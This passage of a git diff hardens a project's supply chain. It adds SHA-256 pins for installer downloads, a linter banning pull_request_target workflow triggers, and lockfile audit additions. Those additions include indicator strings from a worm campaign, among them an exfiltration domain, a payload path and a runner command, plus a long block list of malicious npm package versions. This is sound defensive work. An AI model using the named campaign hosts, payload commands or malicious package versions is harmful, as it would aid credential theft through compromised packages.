_atomic_write_text(path: Path, data: str, encoding: str) -> None: + """Write ``data`` to ``path`` atomically. + + Stages a tmp file in the same directory (so it's on the same + filesystem as the destination), fsyncs, then `os.replace`s into + place. A crash mid-write therefore leaves either the previous + content or the fully new content -- never a truncated source file. + """ + dirpath = str(path.parent) or "." + fd, tmp_path = tempfile.mkstemp(prefix=".kwargs_fix.", dir=dirpath) + try: + with os.fdopen(fd, "w", encoding=encoding) as handle: + handle.write(data) + handle.flush() + os.fsync(handle.fileno()) + os.replace(tmp_path, path) + except Exception: + try: + os.unlink(tmp_path) + except OSError: + pass + raise + + def enforce_spacing(text: str) -> tuple[str, bool]: """Return updated text with keyword '=' padded by spaces, plus change flag.""" lines = text.splitlines(keepends=True) @@ -146,7 +172,7 @@ def process_file(path: Path) -> bool: updated, changed = enforce_spacing(original) updated, removed = remove_redundant_passes(updated) if changed or removed: - path.write_text(updated, encoding=encoding) + _atomic_write_text(path, updated, encoding) return True return False diff --git a/scripts/install_gemma4_mlx.sh b/scripts/install_gemma4_mlx.sh index 26415735b8..e1f43b827c 100755 --- a/scripts/install_gemma4_mlx.sh +++ b/scripts/install_gemma4_mlx.sh @@ -1,9 +1,15 @@ #!/bin/bash -set -e +set -euo pipefail # ============================================================ # Gemma 4 MLX — One-command setup + inference # +# Supply-chain hardening: the uv installer payload is pinned by +# SHA-256. Rotate by running: +# curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256 +# and updating _UV_INSTALLER_SHA256 below. +# ============================================================ +# # Usage: # bash install_gemma4_mlx.sh [--venv-dir DIR] # @@ -104,10 +110,17 @@ else fi # ── Install uv ─────────────────────────────────────────────── +_UV_INSTALLER_SHA256="48cd5aca5d5671a3b3d5f61538cc8622e4434af63319115159990d8b0dd02416" + if ! command -v uv >/dev/null 2>&1; then step "uv" "installing uv package manager..." _uv_tmp=$(mktemp) curl -LsSf "https://astral.sh/uv/install.sh" -o "$_uv_tmp" + _uv_actual=$(shasum -a 256 "$_uv_tmp" | awk '{print $1}') + if [ "$_uv_actual" != "$_UV_INSTALLER_SHA256" ]; then + rm -f "$_uv_tmp" + fail "uv installer SHA-256 mismatch: got $_uv_actual expected $_UV_INSTALLER_SHA256 (refusing to execute)" + fi sh "$_uv_tmp" /dev/null 2>&1 rm -f "$_uv_tmp" if [ -f "$HOME/.local/bin/env" ]; then diff --git a/scripts/install_qwen3_6_mlx.sh b/scripts/install_qwen3_6_mlx.sh index 5ce66d29a6..38fe1bea05 100644 --- a/scripts/install_qwen3_6_mlx.sh +++ b/scripts/install_qwen3_6_mlx.sh @@ -1,9 +1,18 @@ #!/bin/bash -set -e +set -euo pipefail # ============================================================ # Qwen3.6 MLX — One-command setup + inference # +# Supply-chain hardening: +# - All third-party downloads (uv installer, mlx_vlm qwen3_5 +# patches) are pinned to an immutable git commit SHA and verified +# against a hardcoded SHA-256. Any mismatch aborts the install +# before the bytes are copied into site-packages. +# - To rotate any pin, fetch the new file with `curl`, run +# `shasum -a 256`, and update the corresponding constant below. +# ============================================================ +# # Usage: # bash install_qwen3_6_mlx.sh [--venv-dir DIR] # @@ -104,10 +113,21 @@ else fi # ── Install uv ─────────────────────────────────────────────── +# Pin the uv installer payload by SHA-256. Rotate by running: +# curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256 +# and updating the constant below. We fetch into a temp file, verify +# the digest, and only then execute. Mismatch aborts. +_UV_INSTALLER_SHA256="48cd5aca5d5671a3b3d5f61538cc8622e4434af63319115159990d8b0dd02416" + if ! command -v uv >/dev/null 2>&1; then step "uv" "installing uv package manager..." _uv_tmp=$(mktemp) curl -LsSf "https://astral.sh/uv/install.sh" -o "$_uv_tmp" + _uv_actual=$(shasum -a 256 "$_uv_tmp" | awk '{print $1}') + if [ "$_uv_actual" != "$_UV_INSTALLER_SHA256" ]; then + rm -f "$_uv_tmp" + fail "uv installer SHA-256 mismatch: got $_uv_actual expected $_UV_INSTALLER_SHA256 (refusing to execute)" + fi sh "$_uv_tmp" +# curl -sSLf "https://raw.githubusercontent.com/unslothai/unsloth/$_PATCH_COMMIT/unsloth/models/patches/mlx_vlm_qwen3_5/qwen3_5.py" | shasum -a 256 +# curl -sSLf "https://raw.githubusercontent.com/unslothai/unsloth/$_PATCH_COMMIT/unsloth/models/patches/mlx_vlm_qwen3_5/generate.py" | shasum -a 256 +_PATCH_COMMIT="013c99e51bbb8c4b83d88f3b150a1e53251a19d2" +_PATCH_BASE="https://raw.githubusercontent.com/unslothai/unsloth/${_PATCH_COMMIT}/unsloth/models/patches/mlx_vlm_qwen3_5" +_PATCH_SHA_QWEN35="4b6fbbcc59b1d6b935e7204351aae1476836d25542a11c7885402b672d2efa64" +_PATCH_SHA_GENERATE="50c4cbb8c3d94c0c74a4d209db6d2b23b102944c147c6421f2eded427b8edaf7" + _SITE_PKGS=$("$_VENV_PY" -c "import site; print(site.getsitepackages()[0])") step "patch" "fixing multi-turn image chat..." -if curl -sSLf "${_PATCH_BASE}/qwen3_5.py" -o "${_SITE_PKGS}/mlx_vlm/models/qwen3_5/qwen3_5.py"; then +# Stage all downloads in an isolated tmpdir; we only copy into +# site-packages after every checksum has matched. +_PATCH_TMP=$(mktemp -d) +trap 'rm -rf "$_PATCH_TMP"' EXIT + +apply_pinned_patch() { + # apply_pinned_patch + _name="$1"; _expected="$2"; _dest="$3" + _staged="$_PATCH_TMP/$_name" + if ! curl -sSLf "${_PATCH_BASE}/${_name}" -o "$_staged"; then + step "warning" "failed to download ${_name} patch — multi-turn image chat may not work" "$C_WARN" + return 1 + fi + _actual=$(shasum -a 256 "$_staged" | awk '{print $1}') + if [ "$_actual" != "$_expected" ]; then + step "warning" "${_name} SHA-256 mismatch (got $_actual expected $_expected) — refusing to install patch" "$C_WARN" + return 1 + fi + mkdir -p "$(dirname "$_dest")" + cp "$_staged" "$_dest" + return 0 +} + +if apply_pinned_patch "qwen3_5.py" "$_PATCH_SHA_QWEN35" "${_SITE_PKGS}/mlx_vlm/models/qwen3_5/qwen3_5.py"; then substep "patched qwen3_5.py (MRoPE position reset)" -else - step "warning" "failed to download qwen3_5.py patch — multi-turn image chat may not work" "$C_WARN" fi -if curl -sSLf "${_PATCH_BASE}/generate.py" -o "${_SITE_PKGS}/mlx_vlm/generate.py"; then +if apply_pinned_patch "generate.py" "$_PATCH_SHA_GENERATE" "${_SITE_PKGS}/mlx_vlm/generate.py"; then substep "patched generate.py (mask trim on cache reuse)" -else - step "warning" "failed to download generate.py patch — multi-turn image chat may not work" "$C_WARN" fi # Clear pycache so patches take effect diff --git a/scripts/lint_workflow_triggers.py b/scripts/lint_workflow_triggers.py new file mode 100644 index 0000000000..d8e7356fd1 --- /dev/null +++ b/scripts/lint_workflow_triggers.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +"""Refuse dangerous GitHub Actions trigger patterns at PR time. + +Two patterns are banned outright, both of which powered the TanStack +GHSA-g7cv-rxg3-hmpx supply-chain compromise: + +1. `pull_request_target` -- runs a fork's workflow YAML against the + BASE repository's secrets and permissions. The fork can inject + arbitrary code into the base context. The TanStack worm used this + to land base-context execution from a fork PR. There is essentially + no safe use of this trigger for a public open-source project; + `pull_request` is the safe alternative. + +2. `workflow_run` chained to a PR-triggered workflow -- carries the + same trust boundary problem one hop later. If a PR-triggered + workflow can poison artifacts/caches and a `workflow_run` trigger + fires off the result with elevated permissions, the attacker still + reaches the trusted context. + +3. Shared cache keys between PR-triggered workflows and publish / + release / push-triggered workflows. The TanStack worm poisoned the + Actions cache from a fork PR and the legitimate release workflow + then restored the poisoned cache. Cache keys must be partitioned + so that nothing a PR can write is ever read by a workflow that + holds secrets. + +Exit codes +========== + + 0 no findings + 1 one or more findings; stderr lists each with file path + +Run from repo root: + python3 scripts/lint_workflow_triggers.py +""" + +from __future__ import annotations + +import argparse +import re +import sys +from pathlib import Path + +try: + import yaml +except ImportError: + print( + "ERROR: PyYAML is required. Install with 'pip install pyyaml'", file = sys.stderr + ) + sys.exit(2) + +REPO_ROOT = Path(__file__).resolve().parents[1] +DEFAULT_WORKFLOWS_DIR = REPO_ROOT / ".github" / "workflows" + +BANNED_TRIGGERS: tuple[str, ...] = ("pull_request_target",) +RESTRICTED_TRIGGERS: tuple[str, ...] = ("workflow_run",) +PUBLISH_WORKFLOW_NAMES: tuple[str, ...] = ("release-desktop.yml",) + + +def _normalise_on(on_field): + if isinstance(on_field, str): + return {on_field} + if isinstance(on_field, list): + return set(on_field) + if isinstance(on_field, dict): + return set(on_field.keys()) + return set() + + +def _load_workflow(path: Path): + try: + return yaml.safe_load(path.read_text()) + except Exception as exc: + print(f"ERROR: failed to parse {path}: {exc}", file = sys.stderr) + sys.exit(2) + + +def _extract_cache_keys(path: Path) -> list[str]: + text = path.read_text() + keys: list[str] = [] + for m in re.finditer(r"(?:^|\n)\s*key:\s*([^\n]+)", text): + keys.append(m.group(1).strip()) + return keys + + +def _trigger_set(yaml_doc) -> set[str]: + on = yaml_doc.get(True) + if on is None: + on = yaml_doc.get("on") + return _normalise_on(on) + + +def main() -> int: + parser = argparse.ArgumentParser(description = __doc__) + parser.add_argument( + "--workflows-dir", + type = Path, + default = DEFAULT_WORKFLOWS_DIR, + help = "Override the workflows directory (used by tests).", + ) + args = parser.parse_args() + workflows_dir = args.workflows_dir + + findings: list[str] = [] + workflows = sorted(workflows_dir.glob("*.yml")) + pr_triggered: list[tuple[Path, list[str]]] = [] + publish_triggered: list[tuple[Path, list[str]]] = [] + + for path in workflows: + doc = _load_workflow(path) + triggers = _trigger_set(doc) + + for t in BANNED_TRIGGERS: + if t in triggers: + findings.append( + f"{path.name}: BANNED trigger '{t}' (GHSA-g7cv-rxg3-hmpx " + "pattern: fork PRs run in base-repo context). Switch to " + "'pull_request' and use a deploy-on-merge workflow for " + "any privileged step." + ) + + for t in RESTRICTED_TRIGGERS: + if t in triggers: + text = path.read_text() + if "lint:workflow_triggers-allow-workflow_run" not in text: + findings.append( + f"{path.name}: RESTRICTED trigger '{t}' requires an " + "explicit `# lint:workflow_triggers-allow-workflow_run` " + "comment somewhere in the file, with a justification." + ) + + if "pull_request" in triggers: + pr_triggered.append((path, _extract_cache_keys(path))) + is_dispatch_only = "workflow_dispatch" in triggers and not ( + "push" in triggers or "pull_request" in triggers + ) + if path.name in PUBLISH_WORKFLOW_NAMES or is_dispatch_only: + publish_triggered.append((path, _extract_cache_keys(path))) + + pr_keys = {key for _, keys in pr_triggered for key in keys} + for pub_path, pub_keys in publish_triggered: + for k in pub_keys: + if k in pr_keys: + findings.append( + f"{pub_path.name}: cache key {k!r} is also declared in a " + "PR-triggered workflow. A fork PR could poison this cache " + "and the publish workflow would restore it on next run. " + "Add a unique suffix (e.g. '-publish-only') to partition " + "the namespaces." + ) + + if findings: + print( + "Workflow trigger lint failed with the following issues:", file = sys.stderr + ) + for f in findings: + print(f" - {f}", file = sys.stderr) + return 1 + + print( + f"OK: scanned {len(workflows)} workflow file(s); " + f"no pull_request_target, no unjustified workflow_run, " + f"no PR/publish cache-key collision." + ) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/scripts/lockfile_supply_chain_audit.py b/scripts/lockfile_supply_chain_audit.py old mode 100755 new mode 100644 index e52183214e..ae215bf344 --- a/scripts/lockfile_supply_chain_audit.py +++ b/scripts/lockfile_supply_chain_audit.py @@ -44,8 +44,10 @@ studio/src-tauri/Cargo.lock: Exit codes ========== - 0 no findings, or an opt-out env var (UNSLOTH_LOCKFILE_AUDIT_SKIP=1) - is set + 0 no findings, or an opt-out env var (UNSLOTH_LOCKFILE_AUDIT_SKIP) + is set to a justification string (>=5 chars, not '1'/'true'/etc). + A value like '1' or 'true' is now REJECTED loudly and the audit + runs normally 1 one or more findings; stderr lists them with file path and line number where derivable 2 internal error (missing dependency, malformed JSON, etc.) @@ -95,8 +97,236 @@ NPM_IOC_STRINGS: tuple[str, ...] = ( "getsession.org/file/", # Campaign markers; the worm tarballs print this to stdout on run. "A Mini Shai-Hulud has Appeared", + # Mini Shai-Hulud May-12 2026 wave. + "git-tanstack.com", + "transformers.pyz", + "/tmp/transformers.pyz", + "With Love TeamPCP", + # Aikido (May-12 wave): payload SHA-256 hashes + Bun marker. + "ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c", + "2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96", + "bun run tanstack_runner.js", + "We've been online over 2 hours", ) +# Hard pin-blocks for publicly confirmed malicious versions. +# keep in sync with scripts/scan_npm_packages.py +BLOCKED_NPM_VERSIONS: dict[str, set[str]] = { + # GHSA-g7cv-rxg3-hmpx -- TanStack May-11 2026 (84 versions). + "@tanstack/arktype-adapter": {"1.166.12", "1.166.15"}, + "@tanstack/eslint-plugin-router": {"1.161.9", "1.161.12"}, + "@tanstack/eslint-plugin-start": {"0.0.4", "0.0.7"}, + "@tanstack/history": {"1.161.9", "1.161.12"}, + "@tanstack/nitro-v2-vite-plugin": {"1.154.12", "1.154.15"}, + "@tanstack/react-router": {"1.169.5", "1.169.8"}, + "@tanstack/react-router-devtools": {"1.166.16", "1.166.19"}, + "@tanstack/react-router-ssr-query": {"1.166.15", "1.166.18"}, + "@tanstack/react-start": {"1.167.68", "1.167.71"}, + "@tanstack/react-start-client": {"1.166.51", "1.166.54"}, + "@tanstack/react-start-rsc": {"0.0.47", "0.0.50"}, + "@tanstack/react-start-server": {"1.166.55", "1.166.58"}, + "@tanstack/router-cli": {"1.166.46", "1.166.49"}, + "@tanstack/router-core": {"1.169.5", "1.169.8"}, + "@tanstack/router-devtools": {"1.166.16", "1.166.19"}, + "@tanstack/router-devtools-core": {"1.167.6", "1.167.9"}, + "@tanstack/router-generator": {"1.166.45", "1.166.48"}, + "@tanstack/router-plugin": {"1.167.38", "1.167.41"}, + "@tanstack/router-ssr-query-core": {"1.168.3", "1.168.6"}, + "@tanstack/router-utils": {"1.161.11", "1.161.14"}, + "@tanstack/router-vite-plugin": {"1.166.53", "1.166.56"}, + "@tanstack/solid-router": {"1.169.5", "1.169.8"}, + "@tanstack/solid-router-devtools": {"1.166.16", "1.166.19"}, + "@tanstack/solid-router-ssr-query": {"1.166.15", "1.166.18"}, + "@tanstack/solid-start": {"1.167.65", "1.167.68"}, + "@tanstack/solid-start-client": {"1.166.50", "1.166.53"}, + "@tanstack/solid-start-server": {"1.166.54", "1.166.57"}, + "@tanstack/start-client-core": {"1.168.5", "1.168.8"}, + "@tanstack/start-fn-stubs": {"1.161.9", "1.161.12"}, + "@tanstack/start-plugin-core": {"1.169.23", "1.169.26"}, + "@tanstack/start-server-core": {"1.167.33", "1.167.36"}, + "@tanstack/start-static-server-functions": {"1.166.44", "1.166.47"}, + "@tanstack/start-storage-context": {"1.166.38", "1.166.41"}, + "@tanstack/valibot-adapter": {"1.166.12", "1.166.15"}, + "@tanstack/virtual-file-routes": {"1.161.10", "1.161.13"}, + "@tanstack/vue-router": {"1.169.5", "1.169.8"}, + "@tanstack/vue-router-devtools": {"1.166.16", "1.166.19"}, + "@tanstack/vue-router-ssr-query": {"1.166.15", "1.166.18"}, + "@tanstack/vue-start": {"1.167.61", "1.167.64"}, + "@tanstack/vue-start-client": {"1.166.46", "1.166.49"}, + "@tanstack/vue-start-server": {"1.166.50", "1.166.53"}, + "@tanstack/zod-adapter": {"1.166.12", "1.166.15"}, + # Mini Shai-Hulud May-12 wave: OpenSearch JS client. + "@opensearch-project/opensearch": {"3.5.3", "3.6.2", "3.7.0", "3.8.0"}, + # Mini Shai-Hulud May-12 wave: @squawk/* (22 packages, 5 versions each; + # https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/). + "@squawk/airport-data": {"0.7.4", "0.7.5", "0.7.6", "0.7.7", "0.7.8"}, + "@squawk/airports": {"0.6.2", "0.6.3", "0.6.4", "0.6.5", "0.6.6"}, + "@squawk/airspace": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"}, + "@squawk/airspace-data": {"0.5.3", "0.5.4", "0.5.5", "0.5.6", "0.5.7"}, + "@squawk/airway-data": {"0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8"}, + "@squawk/airways": {"0.4.2", "0.4.3", "0.4.4", "0.4.5", "0.4.6"}, + "@squawk/fix-data": {"0.6.4", "0.6.5", "0.6.6", "0.6.7", "0.6.8"}, + "@squawk/fixes": {"0.3.2", "0.3.3", "0.3.4", "0.3.5", "0.3.6"}, + "@squawk/flight-math": {"0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8"}, + "@squawk/flightplan": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"}, + "@squawk/geo": {"0.4.4", "0.4.5", "0.4.6", "0.4.7", "0.4.8"}, + "@squawk/icao-registry": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"}, + "@squawk/icao-registry-data": {"0.8.4", "0.8.5", "0.8.6", "0.8.7", "0.8.8"}, + "@squawk/mcp": {"0.9.1", "0.9.2", "0.9.3", "0.9.4", "0.9.5"}, + "@squawk/navaid-data": {"0.6.4", "0.6.5", "0.6.6", "0.6.7", "0.6.8"}, + "@squawk/navaids": {"0.4.2", "0.4.3", "0.4.4", "0.4.5", "0.4.6"}, + "@squawk/notams": {"0.3.6", "0.3.7", "0.3.8", "0.3.9", "0.3.10"}, + "@squawk/procedure-data": {"0.7.3", "0.7.4", "0.7.5", "0.7.6", "0.7.7"}, + "@squawk/procedures": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"}, + "@squawk/types": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"}, + "@squawk/units": {"0.4.3", "0.4.4", "0.4.5", "0.4.6", "0.4.7"}, + "@squawk/weather": {"0.5.6", "0.5.7", "0.5.8", "0.5.9", "0.5.10"}, + # Mini Shai-Hulud May-12 wave: @uipath/* (64 packages, single version each; + # https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised). + "@uipath/apollo-react": {"4.24.5"}, + "@uipath/apollo-wind": {"2.16.2"}, + "@uipath/cli": {"1.0.1"}, + "@uipath/rpa-tool": {"0.9.5"}, + "@uipath/apollo-core": {"5.9.2"}, + "@uipath/filesystem": {"1.0.1"}, + "@uipath/solutionpackager-tool-core": {"0.0.34"}, + "@uipath/solution-tool": {"1.0.1"}, + "@uipath/maestro-tool": {"1.0.1"}, + "@uipath/codedapp-tool": {"1.0.1"}, + "@uipath/agent-tool": {"1.0.1"}, + "@uipath/orchestrator-tool": {"1.0.1"}, + "@uipath/integrationservice-tool": {"1.0.2"}, + "@uipath/rpa-legacy-tool": {"1.0.1"}, + "@uipath/vertical-solutions-tool": {"1.0.1"}, + "@uipath/flow-tool": {"1.0.2"}, + "@uipath/codedagent-tool": {"1.0.1"}, + "@uipath/common": {"1.0.1"}, + "@uipath/resource-tool": {"1.0.1"}, + "@uipath/auth": {"1.0.1"}, + "@uipath/docsai-tool": {"1.0.1"}, + "@uipath/case-tool": {"1.0.1"}, + "@uipath/api-workflow-tool": {"1.0.1"}, + "@uipath/test-manager-tool": {"1.0.2"}, + "@uipath/robot": {"1.3.4"}, + "@uipath/traces-tool": {"1.0.1"}, + "@uipath/agent-sdk": {"1.0.2"}, + "@uipath/integrationservice-sdk": {"1.0.2"}, + "@uipath/maestro-sdk": {"1.0.1"}, + "@uipath/data-fabric-tool": {"1.0.2"}, + "@uipath/tasks-tool": {"1.0.1"}, + "@uipath/insights-tool": {"1.0.1"}, + "@uipath/insights-sdk": {"1.0.1"}, + "@uipath/uipath-python-bridge": {"1.0.1"}, + "@uipath/ap-chat": {"1.5.7"}, + "@uipath/project-packager": {"1.1.16"}, + "@uipath/packager-tool-case": {"0.0.9"}, + "@uipath/packager-tool-workflowcompiler-browser": {"0.0.34"}, + "@uipath/packager-tool-connector": {"0.0.19"}, + "@uipath/packager-tool-workflowcompiler": {"0.0.16"}, + "@uipath/packager-tool-webapp": {"1.0.6"}, + "@uipath/packager-tool-apiworkflow": {"0.0.19"}, + "@uipath/packager-tool-functions": {"0.1.1"}, + "@uipath/widget.sdk": {"1.2.3"}, + "@uipath/resources-tool": {"0.1.11"}, + "@uipath/agent.sdk": {"0.0.18"}, + "@uipath/codedagents-tool": {"0.1.12"}, + "@uipath/aops-policy-tool": {"0.3.1"}, + "@uipath/solution-packager": {"0.0.35"}, + "@uipath/packager-tool-bpmn": {"0.0.9"}, + "@uipath/packager-tool-flow": {"0.0.19"}, + "@uipath/telemetry": {"0.0.7"}, + "@uipath/tool-workflowcompiler": {"0.0.12"}, + "@uipath/vss": {"0.1.6"}, + "@uipath/solutionpackager-sdk": {"1.0.11"}, + "@uipath/ui-widgets-multi-file-upload": {"1.0.1"}, + "@uipath/access-policy-tool": {"0.3.1"}, + "@uipath/context-grounding-tool": {"0.1.1"}, + "@uipath/gov-tool": {"0.3.1"}, + "@uipath/admin-tool": {"0.1.1"}, + "@uipath/identity-tool": {"0.1.1"}, + "@uipath/llmgw-tool": {"1.0.1"}, + "@uipath/resourcecatalog-tool": {"0.1.1"}, + "@uipath/functions-tool": {"1.0.1"}, + "@uipath/access-policy-sdk": {"0.3.1"}, + "@uipath/platform-tool": {"1.0.1"}, + # Mini Shai-Hulud May-12 wave: @mistralai/* (npm) — separate from PyPI mistralai + # (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised). + "@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"}, + "@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"}, + "@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"}, + # Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages) + # (Aikido enumeration). + "@tallyui/components": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/connector-medusa": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/connector-shopify": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/connector-vendure": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/connector-woocommerce": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/core": {"0.2.1", "0.2.2", "0.2.3"}, + "@tallyui/database": {"1.0.1", "1.0.2", "1.0.3"}, + "@tallyui/pos": {"0.1.1", "0.1.2", "0.1.3"}, + "@tallyui/storage-sqlite": {"0.2.1", "0.2.2", "0.2.3"}, + "@tallyui/theme": {"0.2.1", "0.2.2", "0.2.3"}, + # Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions) + # (Aikido enumeration). + "@beproduct/nestjs-auth": { + "0.1.2", + "0.1.3", + "0.1.4", + "0.1.5", + "0.1.6", + "0.1.7", + "0.1.8", + "0.1.9", + "0.1.10", + "0.1.11", + "0.1.12", + "0.1.13", + "0.1.14", + "0.1.15", + "0.1.16", + "0.1.17", + "0.1.18", + "0.1.19", + }, + # Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/* + # (Aikido enumeration). + "@draftauth/client": {"0.2.1", "0.2.2"}, + "@draftauth/core": {"0.13.1", "0.13.2"}, + "@draftlab/auth": {"0.24.1", "0.24.2"}, + "@draftlab/auth-router": {"0.5.1", "0.5.2"}, + "@draftlab/db": {"0.16.1"}, + # Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli + # (Aikido enumeration). + "@taskflow-corp/cli": {"0.1.24", "0.1.25", "0.1.26", "0.1.27", "0.1.28", "0.1.29"}, + "@tolka/cli": {"1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6"}, + # Mini Shai-Hulud May-12 wave: @ml-toolkit-ts/* + @mesadev/* + @dirigible-ai/sdk + @supersurkhet/* + # (Aikido enumeration). + "@dirigible-ai/sdk": {"0.6.2", "0.6.3"}, + "@mesadev/rest": {"0.28.3"}, + "@mesadev/saguaro": {"0.4.22"}, + "@mesadev/sdk": {"0.28.3"}, + "@ml-toolkit-ts/preprocessing": {"1.0.2", "1.0.3"}, + "@ml-toolkit-ts/xgboost": {"1.0.3", "1.0.4"}, + "@supersurkhet/cli": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"}, + "@supersurkhet/sdk": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"}, + # Mini Shai-Hulud May-12 wave: Unscoped packages (10 entries) + # (Aikido enumeration). + "safe-action": {"0.8.3", "0.8.4"}, + "ts-dna": {"3.0.1", "3.0.2", "3.0.3", "3.0.4"}, + "cross-stitch": {"1.1.3", "1.1.4", "1.1.5", "1.1.6"}, + "cmux-agent-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7", "0.1.8"}, + "agentwork-cli": {"0.1.4", "0.1.5"}, + "git-branch-selector": {"1.3.3", "1.3.4", "1.3.5", "1.3.6", "1.3.7"}, + "wot-api": {"0.8.1", "0.8.2", "0.8.3", "0.8.4"}, + "git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"}, + "nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"}, + "ml-toolkit-ts": {"1.0.4", "1.0.5"}, + # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of + # PyPI lightning 2.6.2/2.6.3. Same threat actor (TeamPCP) per Semgrep, + # Aikido, OX Security, Resecurity. Safe version: 7.0.3 and earlier. + "intercom-client": {"7.0.4"}, +} + CARGO_IOC_STRINGS: tuple[str, ...] = ( # Reserved for future cargo-side incidents. Empty by default -- # `source` origin check below catches the structural pattern. @@ -262,7 +492,24 @@ def audit_npm_lockfile(path: Path) -> list[Finding]: ) ) - # 3. Known IOC strings: scan the raw file body so we hit fields the + # 3. Blocked malicious version list. + nm_prefix = "node_modules/" + pkg_name = key[len(nm_prefix) :] if key.startswith(nm_prefix) else key + version = entry.get("version") + blocked = BLOCKED_NPM_VERSIONS.get(pkg_name, set()) + if version and version in blocked: + findings.append( + Finding( + path = str(path), + package = key, + kind = "blocked-known-malicious", + detail = ( + f"{pkg_name}@{version} is on the " "BLOCKED_NPM_VERSIONS list" + ), + ) + ) + + # 4. Known IOC strings: scan the raw file body so we hit fields the # structural pass above doesn't enumerate (scripts, optional # dependencies, etc.). Cheap and complete. for ioc in NPM_IOC_STRINGS: @@ -438,13 +685,34 @@ def main(argv: list[str] | None = None) -> int: ) args = parser.parse_args(argv) - if os.environ.get("UNSLOTH_LOCKFILE_AUDIT_SKIP") == "1": - print( - "[lockfile-audit] UNSLOTH_LOCKFILE_AUDIT_SKIP=1; " - "audit skipped (expected only for local triage)", - flush = True, - ) - return 0 + # SF4: require a real justification (e.g. JIRA ticket id) for the + # skip env var. Treat the trivially-set values ("1", "true", "yes", + # "on", empty) as INVALID -- they look like accidental flips and + # silently bypassed the supply-chain audit. A valid value is a + # non-empty string >=5 chars after stripping that does not match + # any of the boolean-shaped tokens above. An invalid value emits a + # loud GitHub Actions warning to stderr and FALLS THROUGH to run + # the audit normally (fail-safe). A valid value emits a warning + # naming the reason and skips with rc=0 (compat). + _skip_raw = os.environ.get("UNSLOTH_LOCKFILE_AUDIT_SKIP") + if _skip_raw is not None: + _skip = _skip_raw.strip() + _invalid_tokens = {"", "1", "0", "true", "false", "yes", "no", "on", "off"} + if _skip.lower() in _invalid_tokens or len(_skip) < 5: + print( + "::warning::Lockfile audit skip REQUIRES a justification " + f"value (>=5 chars, not '{_skip_raw}'). Proceeding with " + "audit. Use e.g. UNSLOTH_LOCKFILE_AUDIT_SKIP=ticket-1234.", + file = sys.stderr, + flush = True, + ) + else: + print( + f"::warning::Lockfile audit skipped: reason='{_skip}'", + file = sys.stderr, + flush = True, + ) + return 0 root = Path(args.root).resolve() npm_paths = [root / p for p in (args.npm_lockfile or DEFAULT_NPM_LOCKFILES)] diff --git a/scripts/notebook_to_python.py b/scripts/notebook_to_python.py index 86f3239b72..4e3046103e 100644 --- a/scripts/notebook_to_python.py +++ b/scripts/notebook_to_python.py @@ -14,6 +14,7 @@ Converts IPython magics to plain Python: import nbformat import re +import shlex import sys import os import urllib.request @@ -21,6 +22,22 @@ import urllib.parse from pathlib import Path +# Hosts we are willing to fetch raw notebook JSON from. Anything else +# is rejected before `urlopen` so a typoed / hostile URL cannot pull +# code from arbitrary infrastructure. +_ALLOWED_NOTEBOOK_HOSTS = { + "raw.githubusercontent.com", + "gist.githubusercontent.com", +} + + +# Shell metacharacters that imply the cell's `!cmd` line cannot be +# parsed as a flat argv. If any of these appears, `shlex.split` would +# either fail or, worse, silently strip the operator -- so we keep +# `shell=True` for that command and emit a review marker. +_SHELL_METACHARS_RE = re.compile(r"\$\(|`|\|\||\||&&|>>?|< bool: """Check if command has Python variable interpolation like {var_name}.""" pattern = r"(? tuple[str, str]: parsed = urllib.parse.urlparse(raw_url) filename = os.path.basename(urllib.parse.unquote(parsed.path)) + # Host allowlist. Refuse to fetch from anywhere the campaign IOC + # tables flag (or just anywhere we don't recognise). The blob->raw + # conversion above only emits `raw.githubusercontent.com`, so a + # rejection here means the caller hand-typed a URL pointing + # somewhere we don't trust. + host = parsed.hostname + if host not in _ALLOWED_NOTEBOOK_HOSTS: + raise ValueError( + f"Refused notebook fetch from {host!r}: not in allowlist " + f"{sorted(_ALLOWED_NOTEBOOK_HOSTS)}" + ) + # Download print(f"Downloading {url}...") with urllib.request.urlopen(raw_url, timeout = 60) as response: @@ -74,7 +103,52 @@ def replace_colab_paths(source: str) -> str: return source -def convert_cell_to_python(source: str) -> str: +def _emit_shell_command(indent: str, full_cmd: str, *, allow_shell: bool) -> list[str]: + """Render a `!cmd` notebook line as one or more Python statements. + + When the command body is 